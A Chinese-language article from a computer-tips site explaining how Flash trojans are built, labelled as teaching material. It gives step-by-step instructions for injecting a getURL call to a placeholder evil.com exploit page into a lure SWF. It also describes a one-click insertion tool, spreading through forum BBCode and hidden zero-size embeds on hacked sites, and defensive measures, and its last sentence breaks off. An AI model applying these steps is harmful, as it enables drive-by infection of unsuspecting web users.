萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 電腦基礎知識 >  >> 健康知識

Flash 木馬制作原理與防範全揭秘:從 getURL 到 SWF 掛馬實戰

核心原理:SWF 載入時自動跳轉惡意網頁

Flash 動畫本身不攜帶漏洞利用代碼,而是透過 getURL() 在播放瞬間彈出預先佈置的「網頁木馬」頁面(含 IE/Flash Player/PDF 等 0-day/1-day 漏洞利用代碼),實現 **Drive-by Download 靜默植入木馬**。

手工制作 Flash 木馬(教學用,嚴禁惡意使用)

  1. 準備:誘餌 SWF(如「MM熱舞.swf」)、反編譯工具「閃客精靈」、編輯器 Macromedia Flash MX、已部署好的網頁木馬 URL。
  2. 反編譯:閃客精靈開啟 SWF → 「導出 FLA」獲得可編輯源檔。
  3. 注入代碼:Flash MX 開啟 FLA → 時間軸任意幀 →「動作」面板 →「瀏覽器/網路 → getURL」→ URL 填入惡意頁面、窗口 `_blank`、變數 `GET` → 生成代碼 getURL("https://evil.com/sploit.htm", "_blank", "GET");。
  4. 發布:「檔案 → 發布」輸出新 SWF,IE 開啟即自動彈出惡意頁。

一鍵生成工具:SWF 木馬插入器

  • 介面選擇目標 SWF、輸入惡意 URL、取消勾選「只解壓」→ 點「給我插」→ 秒出帶後門 SWF。
  • 這類工具極大降低門檻,導致論壇、部落格、QQ 表情、郵件附件充斥 Flash 木馬。

利用場景

  • 論壇發帖:PHPWind/Discuz 等支援 `[flash=寬,高]URL[/flash]` BBCode,攻擊者發帖即獲大量肉雞。
  • 網頁掛馬:入侵高流量站點首頁植入 <embed src="evil.swf" width=0 height=0 ...>,**零寬高不顯示動畫**,訪客無感染毒。

防範三板斧

  1. 攔截彈窗:XP SP2 內建/第三方彈窗攔截器攔截 getURL 彈出的新視窗。
  2. 即時網頁監控:防毒軟體開啟「網頁/HTTP 監控」,惡意頁面下載漏洞利用代碼/Shellcode 瞬間被查殺。
  3. 禁用/限制 Flash:瀏覽器設定「點擊播放」或完全禁用 Flash(現代瀏覽器已預設禁用/移除)。

結語

Flash 木馬本質是「誘餌 SWF + 惡意落地頁」。**防禦核心在落地頁**:只要網頁木馬被攔截/查殺,前端誘餌再花俏也無效。隨著 Flash 退出歷史舞台,此類威脅已大幅降低,但同樣原理可移植至 HTML5 `

copyright © 萬盛學電腦網 all rights reserved